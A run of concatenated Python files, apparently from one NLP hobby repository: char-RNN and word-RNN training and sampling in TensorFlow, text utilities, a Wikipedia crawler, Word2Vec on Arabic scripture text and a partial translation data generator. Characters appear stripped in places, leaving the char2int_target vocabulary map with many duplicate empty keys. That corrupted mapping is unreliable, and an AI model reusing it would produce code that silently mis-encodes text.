'\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': +70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, +'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} + + +model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True) +saver = train_chars.tf.train.Saver() + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + + +def sample(checkpoint, n_samples, lstm_size, vocab_size, char2int, int2char, prime="The"): + samples = [c for c in prime] + + with train_chars.tf.Session() as sess: + saver.restore(sess, checkpoint) + new_state = sess.run(model.initial_state) + for c in prime: + x = np.zeros((1, 1)) + x[0,0] = char2int[c] + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + # print("Preds:", preds) + c = pick_top_n(preds, vocab_size) + samples.append(int2char[c]) + + for i in range(n_samples): + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, vocab_size) + char = int2char[c] + samples.append(char) + # if i == n_samples - 1 and char != " " and char != ".": + # if i == n_samples - 1 and char != " ": + # # while char != "." and char != " ": + # while char != " ": + # x[0,0] = c + # feed = {model.inputs: x, + # model.keep_prob: 1., + # model.initial_state: new_state} + # preds, new_state = sess.run([model.prediction, model.final_state], + # feed_dict=feed) + + # c = pick_top_n(preds, vocab_size) + # char = int2char[c] + # samples.append(char) + + + return ''.join(samples) + + +if __name__ == "__main__": + # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints") + # print(checkpoint) + checkpoint = "checkpoints/i6291_l256.ckpt" + print() + f = open("generates/python.txt", "a", encoding="utf8") + int2char_target = { v:k for k, v in char2int_target.items() } + for prime in ["#"*100]: + samp = sample(checkpoint, 5000, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime=prime) + print(samp, file=f) + print(samp) + print("="*50) + print("="*50, file=f) + + + + +import numpy as np +import train_words + + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + + +def sample(checkpoint, n_samples, lstm_size, vocab_size, prime=["The"]): + samples = [c for c in prime] + model = train_words.CharRNN(len(train_words.vocab), lstm_size=lstm_size, sampling=True) + saver = train_words.tf.train.Saver() + with train_words.tf.Session() as sess: + saver.restore(sess, checkpoint) + new_state = sess.run(model.initial_state) + for c in prime: + x = np.zeros((1, 1)) + x[0,0] = train_words.vocab_to_int[c] + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, len(train_words.vocab)) + samples.append(train_words.int_to_vocab[c]) + + for i in range(n_samples): + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, len(train_words.vocab)) + char = train_words.int_to_vocab[c] + samples.append(char) + + return ' '.join(samples) + + +if __name__ == "__main__": + # checkpoint = train_words.tf.train_words.latest_checkpoint("checkpoints") + # print(checkpoint) + checkpoint = f"{train_words.CHECKPOINT}/i8000_l128.ckpt" + samp = sample(checkpoint, 400, train_words.lstm_size, len(train_words.vocab), prime=["the", "very"]) + print(samp) + + + + +import tensorflow as tf +import numpy as np + + + +def get_batches(arr, batch_size, n_steps): + '''Create a generator that returns batches of size + batch_size x n_steps from arr. + + Arguments + --------- + arr: Array you want to make batches from + batch_size: Batch size, the number of sequences per batch + n_steps: Number of sequence steps per batch + ''' + chars_per_batch = batch_size * n_steps + n_batches = len(arr) // chars_per_batch + + arr = arr[:chars_per_batch * n_batches] + + arr = arr.reshape((batch_size, -1)) + + for n in range(0, arr.shape[1], n_steps): + x = arr[:, n: n+n_steps] + y_temp = arr[:, n+1:n+n_steps+1] + y = np.zeros(x.shape, dtype=y_temp.dtype) + y[:, :y_temp.shape[1]] = y_temp + yield x, y + + +# batches = get_batches(encoded, 10, 50) +# x, y = next(batches) + + +def build_inputs(batch_size, num_steps): + ''' Define placeholders for inputs, targets, and dropout + + Arguments + --------- + batch_size: Batch size, number of sequences per batch + num_steps: Number of sequence steps in a batch + + ''' + # Declare placeholders we'll feed into the graph + inputs = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="inputs") + targets = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="targets") + + # Keep probability placeholder for drop out layers + keep_prob = tf.placeholder(tf.float32, name="keep_prob") + + return inputs, targets, keep_prob + + +def build_lstm(lstm_size, num_layers, batch_size, keep_prob): + ''' Build LSTM cell. + + Arguments + --------- + lstm_size: Size of the hidden layers in the LSTM cells + num_layers: Number of LSTM layers + batch_size: Batch size + keep_prob: Scalar tensor (tf.placeholder) for the dropout keep probability + + ''' + ### Build the LSTM Cell + def build_cell(): + # Use a basic LSTM cell + lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size) + # Add dropout to the cell outputs + drop_lstm = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob) + return drop_lstm + + + # Stack up multiple LSTM layers, for deep learning + # build num_layers layers of lstm_size LSTM Cells + cell = tf.contrib.rnn.MultiRNNCell([build_cell() for _ in range(num_layers)]) + initial_state = cell.zero_state(batch_size, tf.float32) + + return cell, initial_state + + +def build_output(lstm_output, in_size, out_size): + ''' Build a softmax layer, return the softmax output and logits. + + Arguments + --------- + + lstm_output: List of output tensors from the LSTM layer + in_size: Size of the input tensor, for example, size of the LSTM cells + out_size: Size of this softmax layer + + ''' + # Reshape output so it's a bunch of rows, one row for each step for each sequence. + # Concatenate lstm_output over axis 1 (the columns) + seq_output = tf.concat(lstm_output, axis=1) + # Reshape seq_output to a 2D tensor with lstm_size columns + x = tf.reshape(seq_output, (-1, in_size)) + + # Connect the RNN outputs to a softmax layer + with tf.variable_scope('softmax'): + # Create the weight and bias variables here + softmax_w = tf.Variable(tf.truncated_normal((in_size, out_size), stddev=0.1)) + softmax_b = tf.Variable(tf.zeros(out_size)) + + # Since output is a bunch of rows of RNN cell outputs, logits will be a bunch + # of rows of logit outputs, one for each step and sequence + logits = tf.matmul(x, softmax_w) + softmax_b + + # Use softmax to get the probabilities for predicted characters + out = tf.nn.softmax(logits, name="predictions") + + return out, logits + + +def build_loss(logits, targets, num_classes): + ''' Calculate the loss from the logits and the targets. + + Arguments + --------- + logits: Logits from final fully connected layer + targets: Targets for supervised learning + num_classes: Number of classes in targets + + ''' + # One-hot encode targets and reshape to match logits, one row per sequence per step + y_one_hot = tf.one_hot(targets, num_classes) + y_reshaped = tf.reshape(y_one_hot, logits.get_shape()) + + # Softmax cross entropy loss + loss = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=y_reshaped) + loss = tf.reduce_mean(loss) + + return loss + + +def build_optimizer(loss, learning_rate, grad_clip): + ''' Build optmizer for training, using gradient clipping. + + Arguments: + loss: Network loss + learning_rate: Learning rate for optimizer + grad_clip: threshold for preventing gradient exploding + ''' + + # Optimizer for training, using gradient clipping to control exploding gradients + tvars = tf.trainable_variables() + grads, _ = tf.clip_by_global_norm(tf.gradients(loss, tvars), grad_clip) + train_op = tf.train.AdamOptimizer(learning_rate) + optimizer = train_op.apply_gradients(zip(grads, tvars)) + + return optimizer + + + +class CharRNN: + + def __init__(self, num_classes, batch_size=64, num_steps=50, + lstm_size=128, num_layers=2, learning_rate=0.001, + grad_clip=5, sampling=False): + + # When we're using this network for sampling later, we'll be passing in + # one character at a time, so providing an option for that + if sampling: + batch_size, num_steps = 1, 1 + else: + batch_size, num_steps = batch_size, num_steps + + tf.reset_default_graph() + + # Build the input placeholder tensors + self.inputs, self.targets, self.keep_prob = build_inputs(batch_size, num_steps) + + # Build the LSTM cell + # (lstm_size, num_layers, batch_size, keep_prob) + cell, self.initial_state = build_lstm(lstm_size, num_layers, batch_size, self.keep_prob) + + ### Run the data through the RNN layers + + # First, one-hot encode the input tokens + x_one_hot = tf.one_hot(self.inputs, num_classes) + + # Run each sequence step through the RNN with tf.nn.dynamic_rnn + outputs, state = tf.nn.dynamic_rnn(cell, x_one_hot, initial_state=self.initial_state) + self.final_state = state + + # Get softmax predictions and logits + # (lstm_output, in_size, out_size) + # There are lstm_size nodes in hidden layers, and the number + # of the total characters as num_classes (i.e output layer) + self.prediction, self.logits = build_output(outputs, lstm_size, num_classes) + + # Loss and optimizer (with gradient clipping) + # (logits, targets, lstm_size, num_classes) + self.loss = build_loss(self.logits, self.targets, num_classes) + # (loss, learning_rate, grad_clip) + self.optimizer = build_optimizer(self.loss, learning_rate, grad_clip) + + + + +from time import perf_counter +from collections import namedtuple +from parameters import * +from train import * +from utils import get_time, get_text + +import tqdm +import numpy as np +import os +import string +import tensorflow as tf + + + + +if __name__ == "__main__": + + CHECKPOINT = "checkpoints" + + if not os.path.isdir(CHECKPOINT): + os.mkdir(CHECKPOINT) + + + vocab, int2char, char2int, text = get_text(char_level=True, + files=["E:\\datasets\\python_code_small.py", "E:\\datasets\\my_python_code.py"], + load=False, + lower=False, + save_index=4) + + print(char2int) + + encoded = np.array([char2int[c] for c in text]) + + print("[*] Total characters :", len(text)) + print("[*] Number of classes :", len(vocab)) + + model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps, + lstm_size=lstm_size, num_layers=num_layers, + learning_rate=learning_rate) + + saver = tf.train.Saver(max_to_keep=100) + with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess: + sess.run(tf.global_variables_initializer()) + + # Use the line below to load a checkpoint and resume training + saver.restore(sess, f'{CHECKPOINT}/e13_l256.ckpt') + + total_steps = len(encoded) // batch_size // num_steps + for e in range(14, epochs): + # Train network + cs = 0 + new_state = sess.run(model.initial_state) + min_loss = np.inf + batches = tqdm.tqdm(get_batches(encoded, batch_size, num_steps), + f"Epoch= {e+1}/{epochs} - {cs}/{total_steps}", + total=total_steps) + for x, y in batches: + cs += 1 + start = perf_counter() + feed = {model.inputs: x, + model.targets: y, + model.keep_prob: keep_prob, + model.initial_state: new_state} + batch_loss, new_state, _ = sess.run([model.loss, + model.final_state, + model.optimizer], + feed_dict=feed) + + + + + batches.set_description(f"Epoch: {e+1}/{epochs} - {cs}/{total_steps} loss:{batch_loss:.2f}") + saver.save(sess, f"{CHECKPOINT}/e{e}_l{lstm_size}.ckpt") + print("Loss:", batch_loss) + + saver.save(sess, f"{CHECKPOINT}/i{cs}_l{lstm_size}.ckpt") + + + + +from time import perf_counter +from collections import namedtuple +from colorama import Fore, init + +# local +from parameters import * +from train import * +from utils import get_time, get_text + +init() + +GREEN = Fore.GREEN +RESET = Fore.RESET + +import numpy as np +import os +import tensorflow as tf +import string + + +CHECKPOINT = "checkpoints_words" +files = ["carroll-alice.txt", "text.txt", "text8.txt"] + +if not os.path.isdir(CHECKPOINT): + os.mkdir(CHECKPOINT) + +vocab, int2word, word2int, text = get_text("data", files=files) + +encoded = np.array([word2int[w] for w in text]) + +del text + +if __name__ == "__main__": + + def calculate_time(): + global time_took + global start + global total_time_took + global times_took + global avg_time_took + global time_estimated + global total_steps + + time_took = perf_counter() - start + total_time_took += time_took + times_took.append(time_took) + avg_time_took = sum(times_took) / len(times_took) + time_estimated = total_steps * avg_time_took - total_time_took + + model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps, + lstm_size=lstm_size, num_layers=num_layers, + learning_rate=learning_rate) + + saver = tf.train.Saver(max_to_keep=100) + with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess: + sess.run(tf.global_variables_initializer()) + + # Use the line below to load a checkpoint and resume training + # saver.restore(sess, f'{CHECKPOINT}/i3524_l128_loss=1.36.ckpt') + + # calculate total steps + total_steps = epochs * len(encoded) / (batch_size * num_steps) + time_estimated = "N/A" + times_took = [] + total_time_took = 0 + current_steps = 0 + progress_percentage = 0 + for e in range(epochs): + # Train network + new_state = sess.run(model.initial_state) + min_loss = np.inf + for x, y in get_batches(encoded, batch_size, num_steps): + current_steps += 1 + start = perf_counter() + feed = {model.inputs: x, + model.targets: y, + model.keep_prob: keep_prob, + model.initial_state: new_state} + batch_loss, new_state, _ = sess.run([model.loss, + model.final_state, + model.optimizer], + feed_dict=feed) + + progress_percentage = current_steps * 100 / total_steps + + if batch_loss < min_loss: + # saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}_loss={batch_loss:.2f}.ckpt") + min_loss = batch_loss + calculate_time() + print(f'{GREEN}[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}{RESET}') + continue + if (current_steps % print_every_n == 0): + calculate_time() + print(f'[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}', end='\r') + if (current_steps % save_every_n == 0): + saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt") + + saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt") + + + + +import tqdm +import os +import inflect +import glob +import pickle +import sys +from string import punctuation, whitespace + +p = inflect.engine() +UNK = "" + +char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, +'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': +35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': +70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, +'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} + + +def get_time(seconds, form="{hours:02}:{minutes:02}:{seconds:02}"): + try: + seconds = int(seconds) + except: + return seconds + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + months, days = divmod(days, 30) + years, months = divmod(months, 12) + if days: + form = "{days}d " + form + if months: + form = "{months}m " + form + elif years: + form = "{years}y " + form + return form.format(**locals()) + + +def get_text(path="data", + files=["carroll-alice.txt", "text.txt", "text8.txt"], + load=True, + char_level=False, + lower=True, + save=True, + save_index=1): + if load: + # check if any pre-cleaned saved data exists first + + pickle_files = glob.glob(os.path.join(path, "text_data*.pickle")) + if len(pickle_files) == 1: + return pickle.load(open(pickle_files[0], "rb")) + elif len(pickle_files) > 1: + sizes = [ get_size(os.path.getsize(p)) for p in pickle_files ] + s = "" + for i, (file, size) in enumerate(zip(pickle_files, sizes), start=1): + s += str(i) + " - " + os.path.basename(file) + f" ({size}) \n" + choice = int(input(f"""Multiple data corpus found: +{s} +99 - use and clean .txt files +Please choose one: """)) + + if choice != 99: + chosen_file = pickle_files[choice-1] + print("[*] Loading pickled data...") + return pickle.load(open(chosen_file, "rb")) + text = "" + for file in tqdm.tqdm(files, "Loading data"): + file = os.path.join(path, file) + with open(file) as f: + if lower: + text += f.read().lower() + else: + text += f.read() + print(len(text)) + punc = set(punctuation) + + # text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ]) + text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c in char2int_target ]) + # for ws in whitespace: + # text = text.replace(ws, " ") + + if char_level: + text = list(text) + else: + text = text.split() + + # new_text = [] + new_text = text + # append = new_text.append + # co = 0 + # if char_level: + # k = 0 + # for i in tqdm.tqdm(range(len(text)), "Normalizing words"): + # if not text[i].isdigit(): + # append(text[i]) + # k = 0 + # else: + # # if this digit is mapped to a word already using + # # the below method, then just continue + # if k >= 1: + # k -= 1 + # continue + # # if there are more digits following this character + # # k = 0 + # digits = "" + # while text[i+k].isdigit(): + # digits += text[i+k] + # k += 1 + # w = p.number_to_words(digits).replace("-", " ").replace(",", "") + # for c in w: + # append(c) + # co += 1 + # else: + # for i in tqdm.tqdm(range(len(text)), "Normalizing words"): + # # convert digits to words + # # (i.e '7' to 'seven') + # if text[i].isdigit(): + # text[i] = p.number_to_words(text[i]).replace("-", " ") + # append(text[i]) + # co += 1 + # else: + # append(text[i]) + vocab = sorted(set(new_text)) + print(f"alices in vocab:", "alices" in vocab) + # print(f"Converted {co} digits to words.") + print(f"Total vocabulary size:", len(vocab)) + int2word = { i:w for i, w in enumerate(vocab) } + word2int = { w:i for i, w in enumerate(vocab) } + + if save: + pickle_filename = os.path.join(path, f"text_data_{save_index}.pickle") + print("Pickling data for future use to", pickle_filename) + pickle.dump((vocab, int2word, word2int, new_text), open(pickle_filename, "wb")) + + return vocab, int2word, word2int, new_text + + +def get_size(size, suffix="B"): + factor = 1024 + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if size < factor: + return "{:.2f}{}{}".format(size, unit, suffix) + size /= factor + return "{:.2f}{}{}".format(size, "E", suffix) + + + + +import wikipedia +from threading import Thread + + + + + +def gather(page_name): + print(f"Crawling {page_name}") + page = wikipedia.page(page_name) + filename = page_name.replace(" ", "_") + print(page.content, file=open(f"data/{filename}.txt", 'w', encoding="utf-8")) + print(f"Done crawling {page_name}") + for i in range(5): + Thread(target=gather, args=(page.links[i],)).start() + + +if __name__ == "__main__": + pages = ["Relativity"] + + for page in pages: + gather(page) + + + + +# from keras.preprocessing.text import Tokenizer +from utils import chunk_seq +from collections import Counter +from nltk.corpus import stopwords +from keras.preprocessing.sequence import pad_sequences +import numpy as np +import gensim + +sequence_length = 200 +embedding_dim = 200 +# window_size = 7 +# vector_dim = 300 +# epochs = 1000 + +# valid_size = 16 # Random set of words to evaluate similarity on. +# valid_window = 100 # Only pick dev samples in the head of the distribution. +# valid_examples = np.random.choice(valid_window, valid_size, replace=False) + +with open("data/quran_cleaned.txt", encoding="utf8") as f: + text = f.read() + + +# print(text[:500]) +ayat = text.split(".") + +words = [] +for ayah in ayat: + words.append(ayah.split()) + +# print(words[:5]) +# stop words +stop_words = stopwords.words("arabic") +# most common come at the top +# vocab = [ w[0] for w in Counter(words).most_common() if w[0] not in stop_words] +# words = [ word for word in words if word not in stop_words] +new_words = [] +for ayah in words: + new_words.append([ w for w in ayah if w not in stop_words]) + +# print(len(vocab)) +# n = len(words) / sequence_length +# # split text to n sequences +# print(words[:10]) +# words = chunk_seq(words, len(ayat)) +vocab = [] +for ayah in new_words: + for w in ayah: + vocab.append(w) +vocab = sorted(set(vocab)) +vocab2int = {w: i for i, w in enumerate(vocab, start=1)} +int2vocab = {i: w for i, w in enumerate(vocab, start=1)} + +encoded_words = [] +for ayah in new_words: + encoded_words.append([ vocab2int[w] for w in ayah ]) + +encoded_words = pad_sequences(encoded_words) +# print(encoded_words[10]) +words = [] +for seq in encoded_words: + words.append([ int2vocab[w] if w != 0 else "_unk_" for w in seq ]) +# print(words[:5]) +# # define model +print("Training Word2Vec Model...") +model = gensim.models.Word2Vec(sentences=words, size=embedding_dim, workers=7, min_count=1, window=6) +path_to_save = r"E:\datasets\word2vec_quran.txt" +print("Saving model...") +model.wv.save_word2vec_format(path_to_save, binary=False) +# print(dir(model)) + + + + +from keras.layers import Embedding, LSTM, Dense, Activation, BatchNormalization +from keras.layers import Flatten +from keras.models import Sequential +from preprocess import words, vocab, sequence_length, sequences, vector_dim +from preprocess import window_size + +model = Sequential() + +model.add(Embedding(len(vocab), vector_dim, input_length=sequence_length)) +model.add(Flatten()) +model.add(Dense(1)) + +model.compile("adam", "binary_crossentropy") +model.fit() + + + + +def chunk_seq(seq, num): + avg = len(seq) / float(num) + out = [] + last = 0.0 + while last < len(seq): + out.append(seq[int(last):int(last + avg)]) + last += avg + return out + + +def encode_words(words, vocab2int): + # encoded = [ vocab2int[word] for word in words ] + encoded = [] + append = encoded.append + for word in words: + c = vocab2int.get(word) + if c: + append(c) + return encoded + +def remove_stop_words(vocab): + # remove stop words + vocab.remove("the") + vocab.remove("of") + vocab.remove("and") + vocab.remove("in") + vocab.remove("a") + vocab.remove("to") + vocab.remove("is") + vocab.remove("as") + vocab.remove("for") + + + + +# encoding: utf-8 +""" +author: BrikerMan +contact: eliyar917gmail.com +blog: https://eliyar.biz +version: 1.0 +license: Apache Licence +file: w2v_visualizer.py +time: 2017/7/30 9:37 +""" +import sys +import os +import pathlib +import numpy as np +from gensim.models.keyedvectors import KeyedVectors +import tensorflow as tf +from tensorflow.contrib.tensorboard.plugins import projector + + +def visualize(model, output_path): + meta_file = "w2x_metadata.tsv" + placeholder = np.zeros((len(model.wv.index2word), model.vector_size)) + + with open(os.path.join(output_path, meta_file), 'wb') as file_metadata: + for i, word in enumerate(model.wv.index2word): + placeholder[i] = model[word] + # temporary solution for https://github.com/tensorflow/tensorflow/issues/9094 + if word == '': + print("Emply Line, should replecaed by any thing else, or will cause a bug of tensorboard") + file_metadata.write("{0}".format('').encode('utf-8') + b'\n') + else: + file_metadata.write("{0}".format(word).encode('utf-8') + b'\n') + + # define the model without training + sess = tf.InteractiveSession() + + embedding = tf.Variable(placeholder, trainable=False, name='w2x_metadata') + tf.global_variables_initializer().run() + + saver = tf.train.Saver() + writer = tf.summary.FileWriter(output_path, sess.graph) + + # adding into projector + config = projector.ProjectorConfig() + embed = config.embeddings.add() + embed.tensor_name = 'w2x_metadata' + embed.metadata_path = meta_file + + # Specify the width and height of a single thumbnail. + projector.visualize_embeddings(writer, config) + saver.save(sess, os.path.join(output_path, 'w2x_metadata.ckpt')) + print('Run tensorboard --logdir={0} to run visualize result on tensorboard'.format(output_path)) + + +if __name__ == "__main__": + """ + Use model.save_word2vec_format to save w2v_model as word2evc format + Then just run python w2v_visualizer.py word2vec.text visualize_result + """ + try: + model_path = sys.argv[1] + output_path = sys.argv[2] + except: + print("Please provice model path and output path") + model = KeyedVectors.load_word2vec_format(model_path) + pathlib.Path(output_path).mkdir(parents=True, exist_ok=True) + visualize(model, output_path) + + + + +from keras.preprocessing.text import Tokenizer +from keras.preprocessing.sequence import pad_sequences +from keras.utils import to_categorical +import numpy as np +import pickle +import tqdm + +class NMTGenerator: + """A class utility for generating Neural-Machine-Translation large datasets""" + def __init__(self, source_file, target_file, num_encoder_tokens=None, num_decoder_tokens=None, + source_sequence_length=None, target_sequence_length=None, x_tk=None, y_tk=None, + batch_size=256, validation_split=0.15, load_tokenizers=False, dump_tokenizers=True, + same_tokenizer=False, char_level=False, verbose=0): + self.source_file = source_file + self.target_file = target_file + self.same_tokenizer = same_tokenizer + self.char_level = char_level + if not load_tokenizers: + # x ( source ) tokenizer + self.x_tk = x_tk if x_tk else Tokenizer(char_level=self.char_level) + # y ( target ) tokenizer + self.y_tk = y_tk if y_tk else Tokenizer(char_level=self.char_level) + else: + self.x_tk = pickle.load(open("results/x_tk.pickle", "rb")) + self.y_tk = pickle.load(open("results/y_tk.pickle", "rb")) + # remove '?' and '.' from filters + # which means include them in vocabulary + # add "'" to filters + self.x_tk.filters = self.x_tk.filters.replace("?", "").replace("_", "") + "'" + self.y_tk.filters = self.y_tk.filters.replace("?", "").replace("_", "") + "'" + + if char_level: + self.x_tk.filters = self.x_tk.filters.replace(".", "").replace(",", "") + self.y_tk.filters = self.y_tk.filters.replace(".", "").replace(",", "") + + if same_tokenizer: + self.y_tk = self.x_tk + # max sequence length of source language + self.source_sequence_length = source_sequence_length + # max sequence length of target language + self.target_sequence_length = target_sequence_length + # vocab size of encoder + self.num_encoder_tokens = num_encoder_tokens + # vocab size of decoder + self.num_decoder_tokens = num_decoder_tokens + # the batch size + self.batch_size = batch_size + # the ratio which the dataset will be partitioned + self.validation_split = validation_split + # whether to dump x_tk and y_tk when finished tokenizing + self.dump_tokenizers = dump_tokenizers + # cap to remove _unk_ samples + self.n_unk_to_remove = 2 + self.verbose = verbose + + def load_dataset(self): + """Loads the dataset: + 1. load the data from files + 2. tokenize and calculate sequence lengths and num_tokens + 3. post pad the sequences""" + self.load_data() + if self.verbose: + print("[+] Data loaded") + self.tokenize() + if self.verbose: + print("[+] Text tokenized") + self.pad_sequences() + if self.verbose: + print("[+] Sequences padded") + self.split_data() + if self.verbose: + print("[+] Data splitted") + + def load_data(self): + """Loads data from files""" + self.X = load_data(self.source_file) + self.y = load_data(self.target_file) + # remove much unks on a single sample + X, y = [], [] + co = 0 + for question, answer in zip(self.X, self.y): + if question.count("_unk_") >= self.n_unk_to_remove or answer.count("_unk_") >= self.n_unk_to_remove: + co += 1 + else: + X.append(question) + y.append(answer) + self.X = X + self.y = y + if self.verbose >= 1: + print("[*] Number of samples:", len(self.X)) + if self.verbose >= 2: + print("[!] Number of samples deleted:", co) + + def tokenize(self): + """Tokenizes sentences/strings as well as calculating input/output sequence lengths + and input/output vocab sizes""" + self.x_tk.fit_on_texts(self.X) + self.y_tk.fit_on_texts(self.y) + self.X = self.x_tk.texts_to_sequences(self.X) + self.y = self.y_tk.texts_to_sequences(self.y) + # calculate both sequence lengths ( source and target ) + self.source_sequence_length = max([len(x) for x in self.X]) + self.target_sequence_length = max([len(x) for x in self.y]) + # calculating number of encoder/decoder vocab sizes + self.num_encoder_tokens = len(self.x_tk.index_word) + 1 + self.num_decoder_tokens = len(self.y_tk.index_word) + 1 + # dump tokenizers + pickle.dump(self.x_tk, open("results/x_tk.pickle", "wb")) + pickle.dump(self.y_tk, open("results/y_tk.pickle", "wb")) + + def pad_sequences(self): + """Pad sequences""" + self.X = pad_sequences(self.X, maxlen=self.source_sequence_length, padding='post') + self.y = pad_sequences(self.y, maxlen=self.target_sequence_length, padding='post') + + def split_data(self): + """split training/validation sets using self.validation_split""" + split_value = int(len(self.X)*self.validation_split) + self.X_test = self.X[:split_value] + self.X_train = self.X[split_value:] + self.y_test = self.y[:split_value] + self.y_train = self.y[split_value:] + # free up memory + del self.X + del self.y + + def shuffle_data(self, train=True): + """Shuffles X and y together + :params train (bool): whether to shuffle training data, default is True + Note that when train is False, testing data is shuffled instead.""" + state = np.random.get_state() + if train: + np.random.shuffle(self.X_train) + np.random.set_state(state) + np.random.shuffle(self.y_train) + else: + np.random.shuffle(self.X_test) + np.random.set_state(state) + np.random.shuffle(self.y_test) + + def next_train(self): + """Training set generator""" + return self.generate_batches(self.X_train, self.y_train, train=True) + + def next_validation(self): + """Validation set generator""" + return self.generate_batches(self.X_test, self.y_test, train=False) + + def generate_batches(self, X, y, train=True): + """Data generator""" + same_tokenizer = self.same_tokenizer + batch_size = self.batch_size + char_level = self.char_level + source_sequence_length = self.source_sequence_length + target_sequence_length = self.target_sequence_length + if same_tokenizer: + 